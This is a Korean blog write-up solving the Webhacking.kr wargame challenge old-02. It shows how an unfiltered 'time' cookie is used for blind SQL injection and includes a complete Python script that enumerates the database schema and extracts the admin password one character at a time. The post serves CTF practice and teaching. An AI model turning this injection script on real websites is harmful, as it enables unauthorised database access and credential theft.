WarGame/Webhacking.kr

[Webhacking.kr] old-02 Answer

Old-02 Domain & Tool

  • 구분 : Blind SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]
    • python 3.10
      • Module : requests

Old-02 Question & Answer

들어가면 Restricted area라는 안내문과 "Hello Stranger. Your IP is Logging"이라고 써있다. 특별한 코드나 반응은 보이지 않으니, 코드를 확인해보자

다른거는 모르겠는데. 이상한 시간으로 주석이 생성되어있고, 아래 "admin.php"로 들어가면 안된다는 이야기를 하고 있다. 역시- 바로 들어간다.

으흠.. Password를 입력해야 이 문제를 해결할 수 있을거 같다. PW를 입력하는 곳이니 한번 이곳에 SQL Injection코드를 시도해보자

<SQL Injection실패>

But 이 Field에 SQL Injection은 허용되지 않는거 같다. 여러특수문자를 시도해봤는데, 잘 안되었으니 말이다. 아까전에 보았던 이상한 주석(시간주석)으로 눈길을 돌려보자

<시간주석과 Time 이라는 쿠키>

PHPSESSID는 인간별로 지급되는 세션키이지만. Time이라는 이상한 쿠키값을 확인할 수 있다. 지금은 필자의 브라우저에서는 1512값으로 되어있는데, 주석은 2070-01-01 09:25:12로 되어있다. 값을 여러가지로 해보니까 다음과 같은 결과를 얻을 수 있었다.

  • 1512 : 2070-01-01 09:25:12
  • 10000 : 2070-01-01 11:46:40
  • 1 : 2070-01-01 09:00:01
  • 2 : 2070-01-01 09:00:02
  • 0 : 튕김, 강제로 1657186520(2022-07-07 06:35:20)로 변경되었음

응?? 이상하다. 1과 2, 1512, 10000의 결과로 2070-01-01 09:00:00 에서 시작되는 값인거는 알았는데, 0을 집어넣어서 09:00:00을 기대했는데, Refresh된다. Refresh 되지 못하게 그 전의 Response를 확인할 겸 Python으로 정보를 요청해보자

from requests import get

if __name__=="__main__" :
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"//본인의 PHPSESSID //",
        'time' :'0',
    }
    
    req = get(url,cookies=cookie,headers=headers)
    print(req.content)
## 결과

b"<script>location.href='./';</script>"

어머나... 그냥 새로고침하는 코드가 도착했다. 이곳이 필터링없이 DB에 들어가는 파라미터일 수 도 있으니, 이곳에 부정을 의미하는 코드를 집어넣어보자

from requests import get

if __name__=="__main__" :
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"// 본인의 PHPSESSID //",
        'time' :'0 or 1=0',		### 강제로 부정이 들어가게 해보았다.
    }
    
    req = get(url,cookies=cookie,headers=headers)
    print(req.content)

 

## 결과

b'<!--\n2070-01-01 09:00:00\n-->\n<h2>Restricted area
</h2>Hello stranger. Your IP is logging...
<!-- if you access admin.php i will kick your ass -->'

오호 09:00:00이 나왔다. 미루어보아 위에 1,2,1512를 넣었을 때 참을 의미하는 1이상의 정수를 넣으면 그만큼 초가 나오고 거짓이면 09:00:00가 나온다.

 

Blind SQL Injection하기에 최적의 조건이다. 이곳에서 여러가지의 Query문을 사용할 것인데, Table(SQL : 1,2,3)과 Column(SQL : 4,5,6)에 각각 개수를 알아내는 쿼리 -> 길이를 알아내는 쿼리 -> 이름을 알아내는 쿼리 를 수행한다. 아래와 같다.

  1. (SELECT count(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database()) : TABLE_SCHEMA가 database()이면 현재 연결중인 dbo만 대상으로 한다. information_schema.tables는 DB에서 사용하는 모든 Table의 정보들이 포함되어있다. 우리는 우선 이 코드에 연결된 DB Table이 어떤 이름인지를 알아볼것이다. 그러기 위해 table이 몇개있는지 부터 확인한다.
  2. (SELECT length(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit x, 1)" : table이 몇개 있는지 확인되었으면 다음으로는 각각의 Table_Name의 길이를 알아낼 차례이다. 사실은 바로 ascii와 substring을 사용해도 상관없지만, python코드를 위해서 추가해 보았다.
  3. (SELECT ascii(substring(table_name,X,1)) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit X, 1) : 길이를 알아내었으면, 이 길이까지 ascii와 substring을 이용해서 글자를 가져올것이다. 예를들어 ascii(substring(table_name, 1,1)) 결과가 'a'를 의미하는 97이라면 time의 쿠키는 97이 들어 갈곳이고, 시간은 09:01:37이 될것이다.
  4. (SELECT count(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name') : Table이름을 알아내었으니, INFORMATION_SCHEMA.COLUMNS에서 이 Table의 컬럼명을 알아낼 것이다. 그러기 위해서 '1'의 SQL문과 같이 컬럼의 개수부터 확인한다.
  5. (SELECT length(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' limit X, 1) : '2'와 같은 목적의 SQL문이다. 다만 이번에 알아낼 길이는 Table명이 아닌 Column의 명이다.
  6. (SELECT ascii(substring(column_name,X,1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' limit X, 1) : '3'와 같은 목적의 SQL문이다. 다만 Column의 이름을 알아낼 것이다.

이런식으로 Table과 column의 구조를 알아내어보았다.

### START BLIND SQL INJECTION ###
{'admin_area_pw': ['pw'], 'log': ['pw', 'ip', 'time']}

이곳에는 'admin_area_pw'라는 table과 'log'라는 이름의 table이 있다. 'admin_area_pw'의 pw라는 컬럼에 우리가 원하는 admin.php에서 사용되는 PW가 있을거라는 극한의 추측을 할 수 있다. admin_area_pw에는 오로지 한개의 tuple밖에 존재하지 않는다. 다행! sql injection을 마무리하자 (실제로 풀어보기를 바란다.)

전체코드

from requests import post,get
import re

def parse_request_value(request) :

    content = str(request.content)
    pat = re.compile('[0-9]{2}:[0-9]{2}:[0-9]{2}')
    time = pat.findall(content)[0]
    hour = int(time[0:2])
    minute = int(time[3:5])
    sec = int(time[6:8])
    return minute*60 + sec

def join_ascii_list(ascii_list) :
    char_list = [chr(x) for x in ascii_list]
    return ''.join(char_list)

if __name__=="__main__" :

    sql = ""                            ### Used for Many way
    total_table = dict()                ### key : table_name, value : column_name(list)

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"//본인의 PHPSESSID //",
        'time' :'1',
    }


    print("### START BLIND SQL INJECTION ###")
    
    ### find count(*) of all tables ###
    sql = "(SELECT count(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database())"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    total_table_count = parse_request_value(req)
    
    
    ### make total_table : dict ###
    for ti in range(total_table_count):
        sql = "(SELECT length(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit "+str(ti)+", 1)"
        cookie['time'] = sql
        req = get(url,cookies=cookie,headers=headers)
        table_name_length = parse_request_value(req)
    
        table_name_ascii_list = list()

        for tni in range(1,table_name_length+1) :
            sql = "(SELECT ascii(substring(table_name,"+str(tni)+",1)) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit "+str(ti)+", 1)"
            cookie['time'] = sql
            req = get(url,cookies=cookie,headers=headers)
            table_name_ascii_list.append(parse_request_value(req))
        
        total_table[join_ascii_list(table_name_ascii_list)] = list()

        for tb_name in total_table.keys() :
            sql = "(SELECT count(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"')"
            cookie['time'] = sql
            req = get(url,cookies=cookie,headers=headers)
            column_count = parse_request_value(req)
                
            for ci in range(column_count) :
                sql = "(SELECT length(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"' limit "+str(ci)+", 1)"
                cookie['time'] = sql
                req = get(url,cookies=cookie,headers=headers)
                column_length = parse_request_value(req)

                column_name_ascii_list = list()

                for cni in range(1,column_length+1) :
                    sql = "(SELECT ascii(substring(column_name,"+str(cni)+",1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"' limit "+str(ci)+", 1)"
                    cookie['time'] = sql
                    req = get(url,cookies=cookie,headers=headers)
                    column_name_ascii_list.append(parse_request_value(req))

                total_table[join_ascii_list(table_name_ascii_list)].append(join_ascii_list(column_name_ascii_list))

    print(total_table)
                
    answer_table = "admin_area_pw"
    answer_column = "pw"
    
    ### get count(column_name) of answer_table ###
    sql = "(SELECT count("+answer_column+") FROM "+answer_table+")"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    rows_of_answer_table = parse_request_value(req)
    
    ### get length of answer_column ###
    sql = "(SELECT length("+answer_column+") FROM "+answer_table+")"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    length_of_answer = parse_request_value(req)

    ### get password ###
    pw_ascii_list = list()
    for i in range(1,length_of_answer+1) :
        sql = "(SELECT ascii(substring("+answer_column+","+str(i)+",1)) FROM "+answer_table+")"
        cookie['time'] = sql
        req = get(url,cookies=cookie,headers=headers)
        pw_ascii_list.append(parse_request_value(req))
    
    print("PW : "+join_ascii_list(pw_ascii_list))

 

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-04 Answer  (0) 2022.07.08
[Webhacking.kr] old-03 Answer  (0) 2022.07.07
[Webhacking.kr] 서문 & old-01 Answer  (0) 2022.07.05